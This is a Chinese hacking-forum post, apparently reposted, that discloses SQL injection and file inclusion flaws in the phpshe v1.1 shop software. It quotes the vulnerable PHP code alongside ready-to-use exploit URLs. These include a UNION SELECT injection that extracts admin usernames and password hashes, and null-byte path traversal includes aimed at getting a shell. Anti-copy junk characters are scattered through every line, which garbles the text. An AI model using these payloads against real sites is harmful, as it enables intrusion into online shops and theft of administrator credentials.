找回密码
 立即注册
查看: 2645|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/' T' Y4 y8 W2 G7 _3 b! [% ^
/* Phpshe v1.1 Vulnerability7 s* a$ ]) q% T& d. l
/* ========================
" g1 |9 R* v- M$ Y/* By: : Kn1f33 q3 q9 c' m$ n! c- j
/* E-Mail : 681796@qq.com  D( g5 W' g) c3 W* |+ P
/*******************************************************/
$ g. d6 E6 i( P7 F1 M1 A  c* H; \0×00 整体大概参数传输
+ B& T7 V& ?+ A3 u) f4 M
3 X. V3 I! x% [  b
& [9 j9 v8 `6 S; P/ b4 t! E+ d
/ x$ i4 }! a7 t  g; }
//common.php1 v+ ]7 Y2 @( o+ |
if (get_magic_quotes_gpc()) {
; |8 `) D7 y: w7 W" z9 k2 N!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
! H& h  s: q1 @$ @( ?/ \) {!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% _  @8 ?; v7 k2 u7 B# _( U}+ k9 X" t' f" N; `, A: Z
else {
4 }- Y' _8 H1 W* h  {- |) `4 @!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');8 t6 `: b' l/ B# U4 c2 B" J
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
- g. T0 H; \5 q# b4 F/ h' ~}
6 r& H  Q" Y+ R3 H( Zsession_start();5 D# C* ^! a. g+ x' n
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
1 _% \+ v  p% X  K' M!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');% ]4 B  }9 ^9 D2 p" [! R0 G
  L, v1 z1 T- ~) \6 t) m
0×01 包含漏洞
8 @5 P% ^& C0 d
0 \# C6 k! B0 A! d3 s9 a) f0 H

0 }2 n4 q4 }" V! b. ^, I& i//首页文件
1 n  Z* o" c6 e<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);+ ^. C7 }$ j0 N9 M- m6 s7 d# s8 w
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞# `* b; c' K: V4 L7 B9 ]0 y8 o8 q
pe_result();; u8 K6 F( z" y3 s
?>% _5 e' O# u) X1 Y/ L
//common 文件 第15行开始
' t3 Q" ?' c6 T! q4 e8 q+ Nurl路由配置
* q1 |6 z; j, r0 c$module = $mod = $act = 'index';  g; J& N4 o2 b+ z$ ~  d" u
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);; Q- Y6 H: I. R- C. h; U9 [
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
, u' D" O) u7 g, H$ k$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);9 h' m: C! T0 P/ G& Q. f
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00% E) |$ z" M) C; ~9 X; h3 [

( o- [. ~- I  B9 @- y6 V6 s
; T* Z3 }% K, [5 j
0×02 搜索注入
& h( R0 g4 h8 C4 y; H  Y' L # e4 {2 D5 ]! A5 a( P
<code id="code2">

//product.php文件
7 U0 W0 F3 Y1 b) a. l9 tcase 'list':
% g- N/ D7 }  O/ L# Y  x3 k$category_id = intval($id);
; d/ c/ I* I  Z$info = $db->pe_select('category', array('category_id'=>$category_id));
/ E" ^. g0 a- L, [1 n: H/ G//搜索& @2 L0 c$ `' ]. B
$sqlwhere = " and `product_state` = 1";; X+ V! Z% @" m1 c
pe_lead('hook/category.hook.php');
' s, x5 w( V! ]/ fif ($category_id) {( t6 V' s8 ~! S' V3 F& j+ Z
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& S/ A! e, U; J% [}; |4 T/ |$ f: V0 A4 s+ I
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
& [% M# n1 o0 Vif ($_g_orderby) {
' F0 a/ s4 J6 E7 k$orderby = explode('_', $_g_orderby);
/ O" O. ~/ K7 X, K; _6 b# d$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
2 b+ u# }6 N- m& A( o7 b2 S}# c2 {8 S; D( ]: e+ ~0 o; w
else {
& ^6 ?4 S- R. a  O% [% X% X3 U$sqlwhere .= " order by `product_id` desc";% s* K7 M% w  s) [1 S
}, j, p' B% s4 o! ~6 R, |* H7 J
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));$ u' Q, S. l# s
//热卖排行
6 V2 h2 a& O0 R- s; ?: z. H$product_hotlist = product_hotlist();
: U% P6 S8 c, ?6 Q; R: S//当前路径# B& L% P6 H" X$ \% x
$nowpath = category_path($category_id);
: h+ ?( x6 W/ y; Y( W" [- @$seo = pe_seo($info['category_name']);$ j$ s$ j4 q5 m2 K
include(pe_tpl('product_list.html'));% Y5 G- J8 F, _4 ~" [
//跟进selectall函数库
* G1 b( Q2 R8 l! n6 Rpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())" {$ @- I! m* P  N
{
. ]( p# y$ k2 m- H//处理条件语句
" `& I* B# n9 n. H2 K! Y$sqlwhere = $this->_dowhere($where);
( S/ V! M& n+ E8 X/ Yreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);& e0 T5 x* Q  R& P1 B
}+ k6 {* k: x( F1 S8 b/ K* X/ }
//exp
' c( F3 ~4 |' A1 t* Y2 Sproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='18 T1 O9 u$ l8 j" W* p/ v  H, }

</code>
# G  R$ b& z& V
4 N0 I& W4 L# Z# F7 m- G, L0×03 包含漏洞2
3 x( b5 `" D1 [, e3 J) ^4 J
$ g) J5 _# ^$ z$ W$ b6 D' N" Q<code id="code3">

//order.php

case 'pay':


% T0 y9 X: P% e$order_id = pe_dbhold($_g_id);


3 o0 ]4 l% z6 J0 H8 a+ w$cache_payway = cache::get('payway');

* t( E- f2 O( h5 C: G3 B* U
foreach($cache_payway as $k => $v) {


7 f' ]7 w! m* m$ y. b( e5 o( _$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


6 A! R6 r$ x% W% @& }5 ]$ H2 [if ($k == 'bank') {

4 z* ?& b: X- E1 K# O7 q
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

# T" m; C8 P! C% v" i
}


; R2 U( M  h$ _/ N}


* K8 o3 Z+ R* A9 P$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 l. }0 W$ @/ {& x" C
!$order['order_id'] && pe_error('订单号错误...');


6 }% H  p) D, A, G% ~/ I3 ?) w% nif (isset($_p_pesubmit)) {

2 v3 C+ i: a6 L% w
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


7 x) K% g  k! j6 j9 L7 I$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


1 r/ [% T: {; q; L* S+ Rforeach ($info_list as $v) {


; N- w9 x9 f1 O9 `7 P$order['order_name'] .= "{$v['product_name']};";+ Y* ]! g1 U3 A7 K2 [

4 b4 `: H4 d3 O* F7 q
}


# V6 m) z' o. Secho '正在为您连接支付网站,请稍后...';


/ d# W' G& Q: \4 j' i/ rinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


0 R& c( n- A& S1 w}//当一切准备好的时候就可以进行"鸡肋包含了"


2 ]8 X: n( G/ E1 l0 h/ velse {

* F$ ]! I3 }9 q/ ^  C& r. m$ [
pe_error('支付错误...');

3 z, n8 p/ ^5 j
}

2 |+ H; j- {) I3 l5 i# I
}

2 W- F3 M3 l" Y4 m
$seo = pe_seo('选择支付方式');


3 \9 C& f& P; X/ R& W' d3 Kinclude(pe_tpl('order_pay.html'));

* u4 v, v; T( o  V
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>& p! L# d" ~* E! N7 r+ p( g& O" [
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表